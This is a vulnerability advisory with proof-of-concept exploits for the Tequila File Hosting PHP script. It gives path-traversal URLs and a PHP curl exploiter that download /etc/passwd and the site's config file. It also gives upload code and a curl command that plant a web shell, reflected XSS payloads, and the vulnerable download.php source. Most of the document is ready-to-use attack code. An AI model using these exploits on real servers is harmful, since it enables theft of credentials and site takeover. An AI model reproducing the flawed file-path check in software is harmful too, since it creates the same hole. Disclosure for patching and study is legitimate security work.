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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Tequila File Hosting Arbitrary File Download
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# Vendor Homepage: http://codecanyon.net/item/tequila-file-hosting-script/7604312
# Date: 16/12/2015
# Author: Ashiyane Digital Security Team
# Version: 1.5
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/tequila-disclose.txt
================================================================================
# Description:
Tequila is a solid, safe, fast, simple and intuitive script which
allows companies or individuals to upload, manage and share their
files online. It is studied in every feature and was produced with
attention to every detail.

# PoC :

# Download Config
http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php

# Download passwd
http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd


# (PHP Exploit):

	<?php
	// page : download.php
	echo "Tequila File Hosting Arbitrary File Download Exploiter\n";
	echo "Discoverd By Ehsan Hosseini\n\n\n";
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL,
"http://SERVER/download.php?filename=files/../include/php/constants.php&name=file.php");
	curl_setopt($ch, CURLOPT_HTTPGET, 1);
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
	$buf = curl_exec ($ch);
	curl_close($ch);
	unset($ch);
	echo $buf;
	?>

# Vulnerabile code:

	<?php
	//This script forces the download of the file

	//Retrieving the file name from the querystring
	//and the stepping stone path to the download folder
	$fn          = (isset($_GET['filename']) ? $_GET['filename'] : false);
	$file        = $fn;
	$sn          = (isset($_GET['name']) ? $_GET['name'] : false);
	$secure_name = $sn;

	if (strpos($file, "files/") !== false) {
	    $checkdownload = "true";
	} else {
		$checkdownload = "false";
	}

	//I verify that the file exists
	if($checkdownload == "true"){
		if (!file_exists($file)) {
			//If there is mold an error
			echo "The file does not exist!";
		} else {
			//If the file exists ...
			//Imposed on the header of the page to force the download of the file
			header("Cache-Control: public");
			header("Content-Description: File Transfer");
			header('Content-Type: application/zip');
			header("Content-Disposition: attachment; filename= " . $secure_name);
			header("Content-Transfer-Encoding: binary");
			header('Connection: Keep-Alive');
			header('Expires: 0');
			header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
			header('Pragma: public');
			//I read the contents of the file
			readfile($file);
			exit;
		}
	}
	?>

#######################################################################

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Tequila File Hosting Unrestricted File Upload
================================================================================

# PoC :
First register in the site===>
http://localhost/tequila/register.php

Next using this exploit :

    <?php
    // page : upload.php
    $postData = array('folder' => '/username', 'file' => '@shell.php');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://localhost/tequila/upload.php");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );
    $buf = curl_exec ($ch);
    curl_close($ch);
    unset($ch);
    echo $buf;
    ?>

or

    curl -i -F folder='/ehsann' -F file=@ehsan.png
http://localhost/tequila/upload.php

Sheller uploaded.

Path of shell : http://localhost/tequila/files/username/shell.php

#######################################################################

================================================================================
Tequila File Hosting Coss Site Scripting
================================================================================

# PoC :
http://localhost/files.php?folder="><script>alert('Ehsan')</script>
http://easyhost.me/file.php?file="><script>alert('Ehsan')</script>

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# Discovered By : Ehsan Hosseini (EhsanSec.ir)
================================================================================